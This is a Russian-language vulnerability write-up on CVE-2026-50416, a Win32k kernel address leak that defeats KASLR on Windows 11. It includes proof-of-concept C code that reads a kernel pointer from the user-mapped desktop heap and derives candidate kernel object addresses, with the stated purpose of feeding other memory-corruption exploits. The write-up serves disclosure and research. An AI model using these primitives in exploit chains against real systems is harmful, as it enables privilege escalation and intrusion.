CVE-2026-50416: обход KASLR в Windows 11
В затронутой системе это чтение из пользовательского отображения кучи рабочего стола Win32 вернуло адрес ядра:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Вот и всё раскрытие. Поначалу это было всего лишь восьмибайтовое значение с убедительными старшими битами. Я потратил больше времени на проверку того, за чем следовало это значение, чем на его чтение.
Microsoft опубликовала эту проблему как CVE-2026-50416 — раскрытие информации в Win32k, классифицированное как CWE-200.
PoC начинается с x64 TEB. GS:[0x30] даёт текущий TEB, TEB + 0x800 достигает клиентских данных Win32 в протестированной мной сборке, а слот 5 содержит пользовательский адрес кучи рабочего стола:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Слот 5 — это ещё 0x28 байт внутри этих клиентских данных. Trellix задокументировал тот же маршрут TEB + 0x800 + 0x28, изучая отображения tagWND в Windows 10 1909. Эти смещения не являются ABI. Я жёстко закодировал их и вызываю VirtualQuery для результата перед использованием отображённой области.
Проверка указателя охватывает каноническое знаковое расширение x64, восьмибайтовое выравнивание и известные шаблоны-маркеры. Затем значение должно пройти поведенческие тесты, описанные ниже.
Основной PoC читает смещение 0x100, создаёт одно окно STATIC, одно BUTTON и одно EDIT, читает его снова, уничтожает три окна, а затем читает его ещё раз.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
/* Create STATIC, BUTTON and EDIT windows. */
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
/* Destroy all three. */
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Три QWORD совпали. Эти выделения окон появлялись и исчезали; значение по адресу 0x100 — нет.
kaslr_sandbox_proof.c выполняет сравнение процессов. Родительский процесс перенаправляет stdout каждого дочернего процесса через канал, разбирает QWORD, прочитанный дочерним процессом, и сравнивает его с базовым значением.
Дочерние процессы, привязанные к рабочему столу по умолчанию, возвращали одно и то же значение. Дочерний процесс, назначенный рабочему столу, созданному с помощью CreateDesktop, возвращал другое. Тестовый стенд также проверяет дочерние процессы с уровнем целостности Low, AppContainer, его конфигурацию LPAC и AppContainer с уровнем целостности Low. Все они выполняют чтение из собственного TEB и собственного отображения, а не получают значение от родительского процесса.
supporting_proof_no_window.c выполняет чтение без вызова CreateWindowEx. Новое окно USER не требуется.
Основной PoC рассматривает утёкшее значение минус 0x40 как базу на стороне ядра, соответствующую куче рабочего стола:
ULONG64 candidate_kernel_heap_base = leaked - 0x40;
Затем он ищет user32!gSharedInfo, использует младшие 16 бит HWND как индекс в таблице USER-хэндлов и продвигается по aheList на HeEntrySize. Если первый QWORD в этой записи ненулевой и меньше отображённой кучи, PoC использует его как относительное смещение в куче рабочего стола:
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
if (heap_offset > 0 && heap_offset < heap_size) {
BYTE *user_candidate = desktop_heap + heap_offset;
ULONG64 kernel_candidate = candidate_kernel_heap_base + heap_offset;
}
Это та же общая зависимость, которая используется в более старых методах на основе десктопной кучи: представления пользовательского режима и ядра размещают объект по одному и тому же смещению от соответствующих баз своих куч. Unit 42 приводит полезные сведения о таблице дескрипторов USER, а также о более старых утечках адресов через gSharedInfo и HMValidateHandle.
Полученные адреса являются кандидатами в объекты ядра для PoC. Зависимость 0x40, структура записи дескриптора и смещения в TEB относятся к сборке, использованной для теста.
Я оставляю кандидатов в объекты на этом. QWORD по адресу desktop_heap + 0x100 уже представляет собой стабильную информацию об адресе в пространстве ядра в доступном для пользователя отображении. Отдельная уязвимость повреждения памяти в Win32k может использовать её вместо угадывания адреса.